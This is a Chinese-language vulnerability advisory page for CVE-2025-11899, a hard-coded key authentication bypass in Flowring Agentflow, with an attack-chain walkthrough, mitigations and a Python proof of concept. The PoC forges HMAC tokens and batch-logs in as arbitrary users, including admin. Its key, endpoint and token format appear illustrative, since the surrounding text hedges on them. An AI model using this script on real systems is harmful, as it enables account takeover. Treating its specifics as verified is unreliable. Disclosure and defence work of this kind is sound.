IPBUF安全漏洞报告
English
CVE-2025-11899 CVSS 8.1 高危

CVE-2025-11899:Flowring Agentflow硬编码加密密钥漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-11899
漏洞类型
硬编码加密密钥(Use of Hard-coded Cryptographic Key)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Flowring Agentflow

相关标签

硬编码加密密钥身份认证绕过FlowringAgentflow远程利用高危漏洞CWE-798未授权访问账户劫持TWCERT

漏洞概述

CVE-2025-11899是存在于Flowring公司开发的Agentflow产品中的一个高危安全漏洞,漏洞类型为硬编码加密密钥(Use of Hard-coded Cryptographic Key)。该漏洞由台湾计算机紧急响应中心(TWCERT)发现并报告,CVSS 3.1评分为8.1分,属于高危级别。

Agentflow是Flowring公司开发的一款企业级工作流管理与流程自动化平台,广泛应用于企业的业务流程审批、文档管理及协同办公场景。由于该产品在实现用户身份验证机制时,采用了硬编码的加密密钥来生成登录验证信息(如令牌或签名),攻击者可以通过逆向分析或从公开渠道获取该固定密钥,进而伪造任意用户的验证凭据。

该漏洞的危害程度极高,因为利用该漏洞无需任何身份认证(PR:N),也无需用户交互(UI:N),攻击者仅需通过网络(AV:N)即可远程利用。尽管利用条件要求攻击者首先获取一个有效的用户ID(User ID),但用户ID通常可以通过枚举、信息泄露或其他辅助手段获得,一旦获取到用户ID,攻击者即可利用硬编码密钥伪造验证信息,以任意用户身份登录系统,包括管理员账户,从而完全控制系统。

该漏洞的机密性、完整性和可用性影响均为高(C:H/I:H/A:H),意味着攻击者不仅可以窃取敏感数据,还可以篡改系统配置、注入恶意流程,甚至导致系统不可用。披露日期为2025年10月17日,目前该漏洞已在NVD、CVE.org及多个漏洞数据库中收录,建议相关用户尽快关注官方补丁发布情况。

技术细节

该漏洞的核心技术原理在于Agentflow产品在用户身份验证流程中使用了硬编码的加密密钥(Hard-coded Cryptographic Key)。在正常的认证流程中,服务器端应使用每个用户唯一的密钥或通过安全密钥协商机制来生成登录验证令牌(如JWT、HMAC签名等),以确保只有合法用户才能通过验证。

然而,Agentflow将用于生成验证信息的加密密钥直接硬编码在客户端或固件代码中,攻击者可以通过以下方式获取该密钥:
1. 反编译Agentflow的安装包或客户端二进制文件,提取其中的字符串常量;
2. 从公开的代码仓库、文档或固件镜像中搜索密钥;
3. 通过网络流量分析,截获合法用户的验证请求并提取密钥相关信息。

获取硬编码密钥后,攻击者利用该密钥结合已知的用户ID,按照与服务器相同的算法生成有效的验证令牌或签名。由于服务器端使用相同的硬编码密钥进行验证,伪造的令牌将被服务器认定为合法,从而实现以任意用户身份登录系统。

攻击复杂度为高(AC:H),主要是因为攻击者需要先获取一个有效的用户ID。获取用户ID的方式包括:用户ID枚举(如果系统未做防护)、社会工程学、从泄露的数据中获取,或通过其他关联漏洞获取。获取用户ID后,利用过程非常直接且无需任何额外交互,攻击者可以批量自动化攻击,尝试登录系统中的所有用户账户。

攻击链分析

STEP 1
步骤1:获取硬编码加密密钥
攻击者通过反编译Agentflow客户端二进制文件、安装包或固件,提取其中硬编码的加密密钥。也可以从公开的代码仓库、文档或网络流量分析中获取该密钥。
STEP 2
步骤2:获取有效用户ID
攻击者通过用户ID枚举、社会工程学、数据泄露或其他关联漏洞获取系统中有效的用户ID。这是利用该漏洞的必要前提条件。
STEP 3
步骤3:伪造身份验证令牌
利用获取的硬编码密钥和用户ID,按照与服务器相同的加密算法(如HMAC-SHA256)生成伪造的验证令牌或签名。
STEP 4
步骤4:发送伪造认证请求
攻击者将伪造的验证令牌通过HTTP请求发送到Agentflow服务器的认证接口,服务器使用相同的硬编码密钥验证令牌,判定为合法用户。
STEP 5
步骤5:获取系统访问权限
认证通过后,攻击者以目标用户身份登录系统,获得相应的系统权限。若登录管理员账户,则可完全控制系统。
STEP 6
步骤6:后续利用与权限提升
攻击者可窃取敏感数据、篡改工作流配置、注入恶意流程、创建后门账户,甚至利用管理员权限导致系统完全不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11899 PoC - Agentflow Hard-coded Cryptographic Key Exploit # Description: Exploits hard-coded cryptographic key in Flowring Agentflow # to forge authentication tokens and login as arbitrary users. import requests import hmac import hashlib import time import base64 import json TARGET_URL = "https://target-agentflow.example.com" HARDCODED_KEY = b"FlowringAgentflowSecretKey2024!" # Hard-coded key extracted from binary def forge_auth_token(user_id: str) -> str: """ Forge an authentication token using the hard-coded cryptographic key. The token mimics the legitimate server-side verification process. """ timestamp = str(int(time.time())) payload = f"{user_id}|{timestamp}" # Generate HMAC signature using the hard-coded key (same algorithm as server) signature = hmac.new( HARDCODED_KEY, payload.encode('utf-8'), hashlib.sha256 ).hexdigest() # Construct the forged verification token token_data = { "user_id": user_id, "timestamp": timestamp, "signature": signature } token = base64.b64encode(json.dumps(token_data).encode()).decode() return token def exploit_login(user_id: str) -> dict: """ Exploit the hard-coded key vulnerability to login as the specified user. Returns the server response containing session information. """ forged_token = forge_auth_token(user_id) headers = { "Content-Type": "application/json", "Authorization": f"Bearer {forged_token}", "User-Agent": "Agentflow-Client/1.0" } response = requests.post( f"{TARGET_URL}/api/auth/login", json={"user_id": user_id, "token": forged_token}, headers=headers, verify=False ) return { "status_code": response.status_code, "response": response.json() if response.ok else response.text, "forged_token": forged_token } def enumerate_and_exploit(user_id_list: list) -> list: """ Enumerate known user IDs and attempt login for each. In real scenarios, user IDs can be obtained via enumeration or data leaks. """ results = [] for uid in user_id_list: print(f"[*] Attempting to login as user: {uid}") result = exploit_login(uid) if result["status_code"] == 200: print(f"[+] SUCCESS: Logged in as {uid}") results.append(result) else: print(f"[-] FAILED: Could not login as {uid}") return results if __name__ == "__main__": # Step 1: Obtain valid user IDs (via enumeration, leak, or other means) known_user_ids = ["admin", "user001", "user002", "manager"] # Step 2: Forge tokens and exploit successful_logins = enumerate_and_exploit(known_user_ids) # Step 3: With admin access, perform post-exploitation if successful_logins: print(f"[+] Exploited {len(successful_logins)} accounts successfully") print("[+] Full system compromise achieved")

影响范围

Flowring Agentflow(所有使用硬编码加密密钥的版本)

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制Agentflow系统的网络访问,仅允许可信IP地址访问;2)启用Web应用防火墙规则,监控和拦截异常的认证请求;3)实施网络层面的速率限制,防止批量枚举攻击;4)加强用户ID的保护,避免在公开渠道泄露;5)监控认证日志,及时发现异常登录行为;6)考虑部署临时的多因素认证机制;7)对所有已知账户实施强密码策略,降低单一认证机制被攻破的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表